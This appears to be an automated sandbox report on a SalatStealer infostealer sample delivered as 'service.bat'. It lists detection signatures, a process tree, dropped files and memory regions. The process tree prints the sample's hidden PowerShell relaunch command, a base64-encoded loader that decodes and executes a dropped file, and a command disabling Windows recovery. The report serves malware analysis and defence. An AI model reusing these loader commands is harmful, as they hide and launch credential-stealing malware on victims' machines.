Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 04:48

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ffepvahs8x
  • SHA256 64a9f07469cce66995d786fd28fa8ac2647611a7b7a63ffaa2cc9818bf69cb01
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 16 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5584
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vtfudtvo\vtfudtvo.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1096
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2FB1.tmp" "c:\Users\Admin\AppData\Local\Temp\vtfudtvo\CSCBDF19F89D634AAB991DEE70ABC96B3.TMP"
              6⤵
                PID:4508
            • C:\Users\Admin\AppData\Local\Temp\p_6ad17c7f-5816-4bf1-85ba-567b0e6a8408.exe
              "C:\Users\Admin\AppData\Local\Temp\p_6ad17c7f-5816-4bf1-85ba-567b0e6a8408.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1572
              • C:\Program Files (x86)\Windows NT\RuntimeBroker.exe
                "C:\Program Files (x86)\Windows NT\RuntimeBroker.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3528
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:5092
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:2092
                • C:\Program Files (x86)\Microsoft\Edge\Application\RuntimeBroker.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\RuntimeBroker.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:964
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:2676
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:3748

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              RES2FB1.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES2FB1.tmp
              • Size 1KB
              • SHA256 40e77e2742d5e8f21c13c5295cfca7ecb517f89c1ddcb07e1d4ac2d023ea81bc
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_1gvripxg.iim.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1gvripxg.iim.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_6ad17c7f-5816-4bf1-85ba-567b0e6a8408.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_6ad17c7f-5816-4bf1-85ba-567b0e6a8408.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              vtfudtvo.dll

              • Path C:\Users\Admin\AppData\Local\Temp\vtfudtvo\vtfudtvo.dll
              • Size 5KB
              • SHA256 abbde605a8c2e33fab32a5ad6960f82323379d92e5a4f513b0cb235355756ea5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSCBDF19F89D634AAB991DEE70ABC96B3.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\vtfudtvo\CSCBDF19F89D634AAB991DEE70ABC96B3.TMP
              • Size 652B
              • SHA256 128d2ee0d4e1d5b6881b22ab67c8f9a99723a9f43d7dd8d63aef4e3cbba83b7b
              • MD5 SHA1 SHA512 TLSH

              vtfudtvo.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\vtfudtvo\vtfudtvo.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              vtfudtvo.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\vtfudtvo\vtfudtvo.cmdline
              • Size 369B
              • SHA256 4d9b2fff5ae10575813c7ab456170a3fccf2904496fdc1f09e94f9f47202a964
              • MD5 SHA1 SHA512 TLSH

              memory/964-887-0x00000000000A0000-0x0000000000CF5000-memory.dmp

              memory/964-890-0x00000000000A0000-0x0000000000CF5000-memory.dmp

              memory/1572-857-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/1572-854-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/1572-858-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/1572-859-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/1572-866-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/3528-918-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-915-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-917-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-920-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-921-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-922-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-916-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-923-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-869-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-868-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-867-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/3528-919-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/4180-11-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-10-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-9-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-12-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-8-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-14-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-15-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/4180-0-0x00007FFBFBFCF000-0x00007FFBFBFD0000-memory.dmp

              memory/4180-6-0x0000020AFADC0000-0x0000020AFADE2000-memory.dmp

              memory/5092-901-0x0000000007BA0000-0x0000000007BC0000-memory.dmp

              memory/5092-874-0x00000000061E0000-0x0000000006246000-memory.dmp

              memory/5092-873-0x0000000006100000-0x0000000006166000-memory.dmp

              memory/5092-881-0x0000000006250000-0x00000000065AB000-memory.dmp

              memory/5092-888-0x0000000006700000-0x000000000671E000-memory.dmp

              memory/5092-872-0x0000000005930000-0x0000000005952000-memory.dmp

              memory/5092-889-0x00000000067D0000-0x000000000681C000-memory.dmp

              memory/5092-871-0x0000000005AB0000-0x00000000060FA000-memory.dmp

              memory/5092-891-0x0000000006CD0000-0x0000000006D18000-memory.dmp

              memory/5092-893-0x0000000070040000-0x000000007008C000-memory.dmp

              memory/5092-870-0x0000000002EE0000-0x0000000002F16000-memory.dmp

              memory/5092-894-0x00000000702E0000-0x000000007063B000-memory.dmp

              memory/5092-892-0x0000000007B40000-0x0000000007B76000-memory.dmp

              memory/5092-902-0x0000000007BC0000-0x0000000007C63000-memory.dmp

              memory/5092-903-0x0000000008330000-0x00000000089AC000-memory.dmp

              memory/5092-904-0x0000000007CF0000-0x0000000007D0A000-memory.dmp

              memory/5092-905-0x0000000007D50000-0x0000000007D5A000-memory.dmp

              memory/5092-906-0x0000000007E00000-0x0000000007E96000-memory.dmp

              memory/5092-907-0x00000000081D0000-0x00000000081F2000-memory.dmp

              memory/5092-908-0x0000000008F70000-0x000000000952A000-memory.dmp

              memory/5584-856-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-844-0x0000020C11920000-0x0000020C11928000-memory.dmp

              memory/5584-831-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-830-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-829-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-828-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-827-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-818-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp

              memory/5584-817-0x00007FFBFBE40000-0x00007FFBFC7E4000-memory.dmp